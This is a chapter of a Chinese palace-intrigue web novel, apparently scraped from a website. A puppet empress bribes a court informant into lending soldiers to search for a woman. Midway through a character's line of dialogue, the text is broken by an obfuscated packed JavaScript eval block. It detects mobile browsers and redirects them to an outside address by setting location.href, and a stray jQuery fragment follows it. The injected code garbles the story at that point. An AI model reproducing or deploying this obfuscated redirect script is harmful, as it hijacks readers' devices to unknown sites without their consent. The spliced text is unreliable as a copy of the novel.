17. 第十七章

李昭宁让所有的下人都退下,翻出自己的小包裹,取出兵符,仔细看了看。


玉牌翠绿,中心的位置有一小块不规则的凸起,是用来扣在另一块玉牌上的。


两块玉牌相合,代表受皇命领兵。


李昭宁自嘲地笑了笑,她是皇帝,但却没有调兵的权力。


子涵送来笔墨便出去候着,李昭宁展开纸笺,提笔开始写诏书。


写着自己都笑了。


别的皇帝都有门下省来拟诏书,像她这种无权无势小傀儡,还得自己写。


李昭宁的字不工整,笔画旁逸斜出,像张牙舞爪的小蜘蛛,她写完一份,又抄了几遍,挑了一份最工整的,盖上朱印,叠在袖子里,就上床睡大觉了。


长夜将尽,灯火通明一整夜的,除了太极殿寝宫,还有御书房。


陈崔静坐御书房案前,手里握着一份奏折细细地看,裴砚则立在台阶下,垂首躬身。


“她只是去喝酒谈生意?”


陈崔头都没抬。


“是。”


“乡野丫头,上心的都是些末流之事……”陈崔鼻子出气,“正好,省得我盯着她。”


陈崔将手中的奏折放下,静静地看向裴砚,语气无波无澜:


“她说你很擅长话本小说,真有其事?”


裴砚身形微微顿了一下,拱手道:“臣……写过。”


陈崔从鼻子里哼了一声。


“物以类聚……罢了,”他又拿起奏折,“你替我盯好科举,她办得越荒唐,你的妹妹就会越快回京。”


裴砚没有抬头,语气仍旧是淡淡的:“是。”


陈崔看不到的低处,裴砚袖中,拳头紧握,手背暴起的青筋自手腕一直延伸到手臂深处,埋入皮肉中消失不见。


“你退下吧,一会的早朝,不用去了。”


裴砚行了礼,推开门,往宫门处走去。


拐弯时,突然看到一抹粉色衣角,一抬头,便看到一个小姑娘,正向他招手。


裴砚认识她,是李昭宁走得最近的宫女。


裴砚的身影与宫女一起隐没在城楼的阴影中。


一觉睡到太阳西斜,她才在被子里伸了个懒腰。


她今日无故不去上朝,也没提前告假,有一次坐实了她不学无术、贪图享乐之名。


自己还休息到了,真是一举两得。


入夜,皇宫万籁俱寂,只有几处城楼上点着守夜军的星点微芒。御书房内灯火熹微,烛光随着风一颤一颤。


李昭宁坐在桌案前,拿着一本《策林》看得入神。(1)


吱呀一声,门开了。


裴砚走进门,朝李昭宁躬身拱手,脸上挂着一抹浅笑:“陛下。”


李昭宁弯眸一笑:“来坐。”


裴砚不疑有他,走上前,坐在书案一侧的椅子上。


李昭宁将身前的小碟子推到他面前:“宫里新做的葡萄米糕,尝尝。”


裴砚有些意外地看了李昭宁一眼,并未在她神色中发现异常,但还是拿起一块尝了一口。


“怎样?”李昭宁眼含期待,目光清澈透亮。


“不错。”裴砚垂下眼帘,放下那块糕。


“再尝尝这茶。”李昭宁把又茶盏推到裴砚面前,言笑晏晏。


裴砚又看了李昭宁一眼,端起茶盏谨慎地闻了闻,才浅浅抿了一口。


“怎样?”


“好茶。”


眼看着李昭宁又要去拿另一碟糕点,裴砚皱眉道:“陛下让臣深夜来此,就是为了吃糕品茶?”


“不然呢?”李昭宁笑意未改,“难道要拆穿你是陈崔眼线的事?”


裴砚呼吸停了半秒,放下茶盏,望着李昭宁,眸色渐深。


“昨日朕刚进茶楼,没多久你就到了,难道不是陈崔的人跟丢了,才着急让你去找?”


裴砚眼中闪过一丝迟疑,而后慢慢泛上欣赏之意。


他往后靠了靠,浅笑道:“是。”


李昭宁收了笑意:“你是不是有什么把柄在他手里?”


裴砚以孤傲高洁闻名于世,绝不是与奸臣同流合污之辈,所以才会受尽陈崔羞辱。


那日他在大殿下,陈崔要他做科举考官时,他眼中的震惊和难过,让李昭宁也为之动容、不忍。


但如今,他却愿意为陈崔做这种监视皇帝的小人勾当。


唯一的可能,就是裴砚不小心授人权柄,才会被人拿捏。


裴砚垂下眼:“没有。”


一年前,他纵容妹妹扮作戏子去表演,被看戏的西川节度使看上,一麻袋装回去做了小妾。


西川节度使颇为跋扈,不能贸然要人,况且世家女扮作戏子,是见不得光的事。


妹妹被拐是裴砚的错,也应当由他亲自来解决。


李昭宁根基未稳,赚小钱的把戏陈崔不会拦着,但若她贸然插手西川的事,以陈崔谨慎狠辣的行事作风,她一定会送命。


裴砚重新看向李昭宁,却发现她眸中雾气氤氲,捏着点心盘的指尖因用力而变得苍白。


李昭宁很失望。


既无权柄,那裴砚就是陈崔养在暗处的爪牙。


她垂下眼睫,掩饰住眉目间的震惊和难过,从袖中取出一叠银票,拍在桌上:“五千两。”


她大概还记得,裴砚爱财,或者说,他需要钱。


那么,要他帮忙,就只剩贿赂他这一条路了。


裴砚一愣。


“借十个神策兵士,最普通的那种,我要去徐州找个人。”


裴砚瞥了她一眼:“谁?”


“柳盈盈,白居简的青梅竹马。”


裴砚眸光一闪:“陛下是为了说服白居简做科举考官,要为他做红娘?”


李昭宁点头:“五千两,够不够你兵士的来往路费?”


裴砚将银票收入袖中,正欲开口,又看到李昭宁眼下的乌青。


她为了挣钱,已经一个月没有睡好觉了。


他淡淡改口:“够了。”


李昭宁松了一口气,取出袖中诏书和兵符,推到裴砚面前。


裴砚拿起纸笺,展开一看,不由得勾起唇角。


小小的诏书,才几十个字,写得很工整,笔画虽然有些歪,但看得出来是尽力写了。


裴砚笑问:“自己写的?”


李昭宁被他的笑意所感,自嘲地扯起嘴角:“不然呢?中书省那帮老头子会替我写这个?”


裴砚“嗯”了一声,正要将纸笺和兵符收入袖中,李昭宁却按住他的手:


“等兵士回来,这兵符要还给我。”


裴砚定定地瞧着李昭宁,笑道:“好。”


第二天清早,城西一百里的神策军驻扎处,裴砚掀开帘子,走了进去,将一只纸笺放在桌上,向着伏案擦枪的男人道:


“带十个人去徐州,找个人,即日启程。”


男人放下枪,凝眸望向面前的人,一双桃花眼在微弱烛光下显得格外迷人。


“找谁?十个人,绑人都不够。”


裴砚负手而立:“打听动向便可。”


男人这才拿起桌上的纸笺,展开看了看,脸上充满了不可置信。


他双指夹着纸笺,举到裴砚面前:“你确定没写错?”


裴砚语气淡淡:“没错。”


男人瞬间爆发出一阵怒吼:


“你要我带兵,不去剿匪,也不去打仗,而是要找个姑娘?!”


……


裴砚没出声,风无声掠过,狭小的营帐也因而变得空荡荡的。


“等等,”男人思考片刻,重新看向裴砚:“你不对劲。”


裴砚背起双手,挑眉看着他,眯起的眼睛里闪过一丝警告。


那人没看见裴砚眼中的危险,直言开口:


“昨天你来酒楼拆散我钓的女郎,今天你来军营要我远赴


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15193493|165603||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


千里去找姑娘,你……”


男人喘了口气,瞪大眼睛,用自己也不信的语调缓缓开口:


“你……莫非是情窦初开了?”


裴砚沉默。


男人以为他是默认,皱眉道:


“你怎么这么贪呢,两个姑娘,你选一个,剩下的归我。”


……


一只匕首带着凛凛寒光从裴砚袖中飞出,深深地插入营帐中央的立柱中,发出咚的一声闷响。


男人眸光暗了暗,丝毫不受影响,绕到裴砚面前,扬了扬眉毛,目光中满是揶揄:


“我猜错了?嗯?莫非酒楼救人、徐州找人,都是另一个小娘子让你去的,你喜欢的,另有其人?”


男人直直地看着裴砚,上翘的唇角快跟眼尾一样高了。


裴砚背过身,语气淡淡:“去找就是,别问太多。”


男人被裴砚的连续冷脸打击得热情消退了大半,扔了枪,走到一旁坐下,冷哼一声:


“我是中尉,不是供你使唤的杂役,你找别人去。”


裴砚并未抬眼,不动声色地理了理袖口的褶皱,抽出一张银票捏在手上:


“一千两。”


男人的身影一顿。


他缓缓低头,不去看那银票:“我身为中尉,自然是要以保家卫国为己任,怎么会为了区区一千两而折腰?”


裴砚又抽出一张银票,叠着捏在手里。


男人喉结滚动:“我必不是那见钱眼开的小人!”


裴砚又取出一张银票:“最后一张,你不去,我就去找别人,军中不止你黄艳一个……”


“我去。”


黄艳从裴砚手中抽出银票,嗖地一声,一张叠得工整的小纸条也从裴砚袖中落出,缓缓向下飘。


黄艳眼疾手快地接住纸条,手腕却被裴砚手掌重重地敲了一下,猛地抽回手去,裴砚的的手也跟过来抢。


两人缠斗一阵,黄艳一个没握紧,纸条便悠悠飘下,在落地的一瞬间展开,露出上面歪歪扭扭的小字和鲜红的朱印。


黄艳还未看清字条上写了什么,就被裴砚一把抽走。


黄艳站定,揉了揉钝痛的手腕:“下手真狠……这该不会真是姑娘写给你的情书吧?”


……


裴砚难得地开口辩驳:“不是。”


黄艳越想越震惊,还想再问,张口的瞬间,看到裴砚漆黑如夜的脸色,默默地闭了嘴。


下一刻,黄艳脸上盈满笑意:


“那我就去了……长安的酒楼就拜托你了,账可以等我回来再算不准坑我钱否则我去你心悦的小娘子面前告你状!”


黄艳将银票揣在怀里,拿着枪就跑出营帐去点兵。


裴砚:……


李昭宁的密诏不方便被旁人看到,他就重新写了一份寻人启事,没想到竟一时疏忽,将密诏给掉了出来。


下次得更谨慎些。


*


转眼到了中午,太阳高挂,正是一天中最慵懒的时候。


长安城外,一个十几人的队伍向南方策马而去,虽衣着朴素,但骑的马皆高大强壮、皮毛锃亮。


大明宫内,李昭宁坐在戏台下已经看了半天的戏,无聊的很,却又不得不与左右的命妇贵女们有一搭没一搭地聊天。


子涵从宫门深处走来,端来一盘水灵灵的葡萄。


她弓着身子,缓缓凑到桌前放盘子,脑袋不经意地掠过李昭宁的耳朵,轻声道:“已经找到了。”


李昭宁霎时清醒,摘下一颗葡萄,美滋滋地放在嘴里。


真甜。


去徐州找柳盈盈,她并非无人可用,这次借裴砚的兵,是要摸清楚这些兵士驻扎在哪里。


来日,她要用这些人,守住一方公平与安宁。


----


(1)历史上是某伟大诗人写的科举考试习题册,以问答的形式详细讨论了几十种科举常见题和参考答案。